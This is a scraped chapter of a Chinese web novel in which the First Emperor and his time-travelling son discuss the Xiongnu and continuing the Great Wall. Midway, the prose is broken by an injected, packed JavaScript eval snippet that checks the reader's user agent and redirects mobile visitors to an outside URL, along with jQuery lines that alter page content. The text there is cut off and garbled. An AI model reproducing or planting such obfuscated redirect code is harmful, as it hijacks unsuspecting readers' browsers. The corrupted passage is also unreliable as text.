默认冷灰
24号文字
方正启体

第564章:望夷宫

作者:夏山河本书字数:K更新时间:
    望夷宫坐落在泾水北岸的一处高地上,深秋时节,泾水水量渐减,露出两岸嶙峋的河床。


    河水呈浑浊的土黄色,卷着枯枝败叶向东流淌,水声在寂静的午后显得格外清晰。


    嬴政和赵凌在午后来到这里时,秋阳正好。


    阳光斜斜地穿过稀疏的云层,为宫墙的青砖镀上一层淡金。


    父子二人皆着便服。


    嬴政穿一袭玄色深衣,外罩墨青色大氅,头发以简单的玉簪束起,没有戴冠。


    赵凌则是一身月白常服,腰间系着素色丝绦,佩一块羊脂白玉。


    这样的装束让他们看起来不像帝王与太子,倒像是寻常世家出游的父子。


    “当年修建此宫……”嬴政缓步走在宫中的青石道上,声音里带着几分追忆,“选址于此,便是取‘临泾水作之,以望北夷’之意。”


    他的目光扫过宫墙上的箭楼,瞭望台,这些军事设施的痕迹依然清晰。


    望夷宫与其说是行宫,不如说是一座前哨要塞。


    它既是帝王北巡时的驻跸之所,也是监视北方草原动向的军事据点。


    “如今可好!”嬴政转头看向赵凌,嘴角勾起一个似笑非笑的弧度,“匈奴还真被你‘望’着了。不仅望着,还要跪到咸阳宫前来。”


    这话里带着几分调侃,几分欣慰,还有几分只有他们父子能懂的复杂情绪。


    赵凌微微一笑,没有接话。


    父子二人并肩而行,脚步声在空旷的宫道上回响。


    随行的侍卫远远跟在后面,保持着既能随时护卫又不会打扰谈话的距离。


    嬴政忽然叹了口气。


    那叹息声很轻,却沉甸甸的,承载着数十年的帝王生涯。


    “当年若不是怕扶苏解决不了匈奴……”他的目光望向北方,仿佛能穿透宫墙,看到那条蜿蜒**的巨龙,“吾也不会调用那么多民夫修长城。三十万人啊……北筑长城,死者相属,道路相望。民间有怨言,朝中有非议,但为父却不得不为之。”


    嬴政的声音平静,但赵凌听出了那平静下的波澜。


    嬴政不是不知道修长城的代价,不是不知道民夫们的苦难。


    但作为帝王,他必须在眼前代价与长远安危之间做出选择。


    “扶苏啊!”嬴政又叹了口气这次叹息更深“他仁厚但过于仁厚。仁厚对治国内政是美德但对外敌……匈奴是狼你退一步他就进十步。若无长城天险以扶苏的性子恐怕对付不了那些草原上的豺狼。”


    这话说得很直白。


    赵凌沉默地听着他知道父亲说的是事实。


    在原本的历史轨迹中扶苏正是因为反对父皇的严苛政策而被贬北疆最终在胡亥、赵高的阴谋中自尽。


    而长城确实在之后千年里一次次阻挡了北方游牧民族的南下。


    “长城还是得修。”赵凌终于开口声音坚定“不只为现在更为后世子孙。匈奴如今虽败但草原上的民族生生不息。今日是匈奴明日可能是鲜卑是突厥是契丹是蒙古……只要南北生活方式不同农耕与游牧的冲突就不会停止。”


    他顿了顿补充道:“况且长城是一道屏障一道让后世子孙可以依靠的屏障。”


    嬴政眉梢一挑侧头看向儿子眼中闪过一丝讶异:“匈奴都被你打成如今这副模样了单于要亲自来咸阳跪求称臣草原各部元气大伤至少十年恢复不过来。你已经选择了将他们同化你还担心后世子孙解决不了匈奴?”


    这话问得很直接。


    以目前大秦的国势以赵凌展现出的手段匈奴确实已经构不成实质性威胁。


    月氏、东胡归附西南夷、百越渐次纳入版图大秦的疆域和影响力正以前所未有的速度扩张。


    在这样的背景下赵凌对长城的执着似乎有些过于谨慎了。


    赵凌停下脚步望向泾水对岸。


    河水在秋阳下泛着粼粼波光远处有渔舟点点炊烟袅袅。


    这是一幅太平景象但赵凌的目光却穿透了这宁静


    “父皇!”他缓缓说道“万世基业最怕的不是外敌而是内患。再坚固的长城也挡不住内部的**;再强大的军队也敌不过人心的离散。”


    他的声音很轻但每个字都重若千钧:


    “今日的大秦如日中天。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099591|172053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但谁能保证百年之后两百年之后我赢姓子孙中不会出一个昏聩无能的庸主?不会出一群争权夺利不顾国事的贵族?”


    嬴政沉默了。


    他想反驳,想说自己开创的制度可以千秋万代,想说大秦的法治可以杜绝这些弊病。


    但话到嘴边,却说不出来。


    因为他自己心里清楚,制度是人制定的,也是人执行的。


    再完美的制度,也经不住人心的侵蚀。


    “只要出一个败家子!赵凌转过身,看着父亲,“只要朝堂出现一次大的动荡,只要百姓对朝廷失去一次信心……积累百年的基业,就可能毁于一旦。到那时,如果北方草原上恰好崛起一个雄主,如果长城年久失修,如果边军**涣散……


    他没有说下去,但嬴政已经明白了。


    这不是杞人忧天,这是真正的帝王远见。


    不只看眼前,还要看百年后;不只看兴盛时,还要看衰败时。


    一个帝国的寿命,不取决于它最强盛时能征服多少土地,而取决于它最虚弱时能守住多少根本。


    嬴政沉默了很长时间。


    秋风吹过宫墙,卷起地上的落叶,发出沙沙的声响。


    远处泾水奔流,滔滔不绝,如同时间本身,从不为任何人停留。


    “不错。嬴政终于开口,声音里有一种释然,也有一种新的沉重,“不骄不躁,未雨绸缪。长城……的确还得修。


    他看向儿子,眼中第一次没有那种长辈看晚辈的审视,而是一种平等的目光:“为父当年修长城,是为了防匈奴。你如今要继续修长城,是为了防百年后的‘可能’。这眼界……不错!


    赵凌躬身:“父皇过誉。朕只是……看得多了些。


    他没有解释“看得多了是什么意思。


    他知道长城在之后千年中一次次发挥的作用?


    知道中原王朝与游牧民族长达两千年的拉锯战?


    知道即使到了现代,那些曾经困扰帝国的边疆问题,依然以不同的形式存在?


    嬴政也没有追问。


    帝王之间,有些话不必说透。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)